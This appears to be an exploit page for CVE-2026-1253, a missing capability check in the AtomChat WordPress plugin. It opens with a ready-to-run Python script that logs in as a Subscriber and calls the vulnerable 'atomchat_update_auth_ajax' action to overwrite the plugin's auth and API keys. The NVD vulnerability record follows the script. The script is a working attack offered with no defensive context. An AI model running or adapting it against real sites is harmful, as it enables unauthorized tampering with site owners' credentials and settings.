CVE-2026-1253

import requests # Configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "subscriber_user" password = "password" login_url = "http://example.com/wp-login.php" session = requests.Session() # Step 1: Authenticate as a low-privileged user (Subscriber) login_data = { 'log': username, 'pwd': password, 'redirect_to': target_url, 'wp-submit': 'Log In' } session.post(login_url, data=login_data) # Step 2: Exploit the missing capability check # Vulnerable action: atomchat_update_auth_ajax exploit_data = { 'action': 'atomchat_update_auth_ajax', 'auth_key': 'MALICIOUS_AUTH_KEY_PAYLOAD', 'api_key': 'MALICIOUS_API_KEY_PAYLOAD' } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit request sent successfully.") print("[+] Check if plugin settings have been updated.") else: print("[-] Failed to send exploit request.")

{"cve": {"id": "CVE-2026-1253", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:52.063", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Group Chat & Video Chat by AtomChat plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'atomchat_update_auth_ajax' and 'atomchat_update_layout_ajax' functions in all versions up to, and including, 1.1.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update plugin options, including critical settings such as API keys, authentication keys, and layout configurations."}, {"lang": "es", "value": "El plugin Group Chat & Video Chat by AtomChat para WordPress es vulnerable a la modificación no autorizada de datos debido a una falta de verificación de capacidad en las funciones 'atomchat_update_auth_ajax' y 'atomchat_update_layout_ajax' en todas las versiones hasta la 1.1.7, inclusive. Esto hace posible que atacantes autenticados, con acceso de nivel Suscriptor y superior, actualicen las opciones del plugin, incluyendo configuraciones críticas como claves API, claves de autenticación y configuraciones de diseño."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/atomchat/tags/1.1.7/includes/atomchat_requesthandler.php#L175", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/atomchat/trunk/includes/atomchat_requesthandler.php#L175", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5c2980c3-0038-42ab-8751-72c40921477a?source=cve", "source": "[email protected]"}]}}